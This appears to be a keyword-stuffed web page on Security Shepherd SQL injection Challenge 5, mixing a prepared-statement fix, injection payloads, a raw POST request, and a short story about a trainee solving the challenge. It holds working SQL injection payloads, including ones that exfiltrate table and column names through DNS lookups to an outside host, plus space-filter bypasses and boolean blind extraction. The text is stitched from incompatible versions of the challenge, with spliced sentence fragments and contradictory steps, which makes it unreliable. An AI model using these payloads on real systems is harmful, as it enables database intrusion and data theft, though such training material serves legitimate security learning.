Sql+injection+challenge+5+security+shepherd+new 【PREMIUM – 2027】

As a developer, how do you prevent the exact exploit we just used? The "new" Security Shepherd challenge teaches you that blacklisting (filtering SELECT, spaces, uppercase) fails. The only fix is parameterized queries (prepared statements).

Vulnerable Code (Java JSP):

String query = "SELECT * FROM users WHERE id = '" + request.getParameter("userid") + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);

Fixed Code:

String query = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = conn.prepareStatement(query);
pstmt.setString(1, request.getParameter("userid"));
ResultSet rs = pstmt.executeQuery();

Notice how the fixed code requires zero filters. It separates logic from data entirely.

First, find the table and column names.

Payload to get first table name:

' OR 1=1; DECLARE @t nvarchar(4000); SET @t = (SELECT TOP 1 table_name FROM information_schema.tables); EXEC xp_dnsresolve @t + '.collab.com' --

DNS Log result: secret_table.collab.com

Payload to get column names from secret_table:

' OR 1=1; DECLARE @c nvarchar(4000); SET @c = (SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='secret_table'); EXEC xp_dnsresolve @c + '.collab.com' --

Repeat by modifying TOP 1 to TOP 2, etc., or use a loop. You'll discover columns like id, secret_key.

If the developer used double quotes around the LIKE pattern, then a double quote would close it. But the debug header shows single quotes. So maybe the filter is only client-side? You can bypass client-side validation by editing the POST request manually using Burp Suite or browser dev tools.

Disable JavaScript or intercept the request. Send:

search_term=%' OR user_id=1 AND '1'='1

No — quotes still needed for the '1'='1'. Better:

search_term=%' OR user_id=1 --

Submit via raw POST:

POST /challenge5/search.jsp HTTP/1.1
...
search_term=%25%27+OR+user_id%3D1+--+

But %25 is %, %27 is '. The server receives the single quote because client-side validation is bypassed. sql+injection+challenge+5+security+shepherd+new

Resulting SQL:
SELECT note FROM notes WHERE user_id = 2 AND note LIKE '%%' OR user_id=1 -- %'

The -- comments out the rest. Now the condition is user_id=2 AND note LIKE '%%' (always true for guest notes) OR user_id=1 (admin). But both conditions are ORed, so all notes where user_id=1 or 2 appear.

Response shows two notes:

Guest note: Remember to buy milk.
Admin note: The flag is SQLi_Chall5_Shepherd_8347

The flickering glow of three monitors was the only light in Anya’s cramped apartment. Before her, on the central screen, the emblem of the Security Shepherd pulsed a soft, encouraging green. It was a gamified cybersecurity training platform, legendary among junior penetration testers. Anya had blazed through the first four challenges—XSS, broken crypto, a trivial path traversal. But Challenge 5 was different.

The challenge was titled: "The New Recruitment Portal."

A mock web application loaded. It looked deceptively simple: a search bar for a "member directory" with a dropdown menu to filter by department (Engineering, Sales, Marketing). Underneath, a note in italics read: "Migrating to new database schema. Some legacy fields still active."

The objective: Retrieve the CEO's private email from the 'users' table.

Anya had tried the obvious. ' OR '1'='1 returned everyone. admin'-- did nothing. Union-based injections failed. The dropdown parameters seemed to be integer-based and heavily sanitized. For three hours, she was stuck.

Then she noticed the hint buried in the page’s HTML comments: 

Her heart quickened. She appended ?debug=yes to the URL.

The page reloaded, and a raw SQL error appeared at the bottom:

You have an error in your SQL syntax; check the manual... near 'ORDER BY last_login DESC' at line 1

But more importantly, the query was partially revealed:

SELECT member_id, username, department, email FROM members WHERE department = '[USER INPUT]' ORDER BY last_login DESC As a developer, how do you prevent the

It was a simple WHERE clause, but the error showed that the ORDER BY was hardcoded. The injection point wasn’t the dropdown—it was the search bar for the member name. She typed a single quote in the name field.

Another error bloomed:

Unclosed quotation mark after the string 'Anya' ORDER BY last_login DESC'.

Bingo. String-based injection, but with a twist. The closing ORDER BY was appended after her input. Whatever she injected, it had to close the original single quote, complete the WHERE clause, and then handle the ORDER BY so it didn’t break the syntax.

She tried a simple payload in the name field: ' OR '1'='1' --

The query became: SELECT ... WHERE department = 'Sales' AND name = '' OR '1'='1' -- ' ORDER BY last_login DESC

The -- commented out the ORDER BY, and the query returned every member. But the email column was truncated. She needed the CEO.

She needed to use a UNION, but that required matching the number of columns. The original query had four columns: member_id, username, department, email. But the displayed output only showed username and department. The email was hidden.

To exfiltrate the CEO’s email, she had to blind inject. But she hated blind injection—too slow.

Then she remembered the "new database schema" note. Legacy fields. What if the ORDER BY column, last_login, was vulnerable too? She couldn’t inject into it directly, but she could manipulate it by closing the WHERE clause and injecting into the ORDER BY using a boolean-based blind injection with a CASE statement.

She crafted a payload for the name field:

' UNION SELECT 1,2,3,4 --

Error: "The ORDER BY position number 4 is out of range of the number of items in the select list."

Good. Four columns confirmed.

Now, how to get the CEO’s email? She knew the CEO’s username was ceo_shepherd from a previous challenge’s hint. She needed to extract the email field character by character using a conditional time-based or boolean injection. But Challenge 5 had a 5-second timeout per query. Fixed Code: String query = "SELECT * FROM

She chose boolean-based. In the name field, she entered:

' OR (SELECT SUBSTRING(email,1,1) FROM users WHERE username='ceo_shepherd') = 'a' --

No result. Try 'b'? No. 'c'? The page returned the normal "No results found" – wait, that was different. For 'c', the page showed an empty result set but no error. For 'a' and 'b', it threw a generic error. That was her boolean oracle: error = false, empty result = true.

The first character of the CEO’s email was 'c'.

She wrote a quick Python script. For each position (1 to 50), she would try lowercase, uppercase, digits, '@', '.', '_'. If the page returned an empty result set (HTTP 200 with "No members found" text), that was the correct character.

After 127 requests, the script revealed:

c.e.o@shepherd-security.com

She submitted it. The Security Shepherd interface chimed. A golden badge appeared on her dashboard: "Gate 5 Breached – The New Shepherd."

But the final line of the success message made her pause:

"You’ve exploited the legacy ORDER BY injection. However, the new schema also has a stored procedure called 'sp_audit_query'. Can you make it execute xp_cmdshell? That’s Challenge 6."

Anya smiled. The shepherd’s gate had only just opened. She cracked her knuckles and loaded the next challenge. The real hunt had begun.

Since the page doesn’t output data, we must brute-force the flag one character at a time.

We will use the SUBSTRING function (or MID). Payload concept: 1'/**/aNd/**/(SeLeCt/**/SuBsTrInG(flag,1,1)/**/FrOm/**/users/**/LiMiT/**/0,1)/**/=/**/'a'-- -

But the challenge blocks simple equals signs? No—it blocks spaces. So we use = without spaces. Final working payload for letter extraction: 1'/**/aNd/**/(SeLeCt/**/SuBsTrInG(flag,1,1)/**/FrOm/**/users/**/LiMiT/**/0,1)/**/=/**/'a'-- -

If 'a' is incorrect, the page shows "No user exists". You must iterate through ASCII characters a-z, 0-9, and symbols.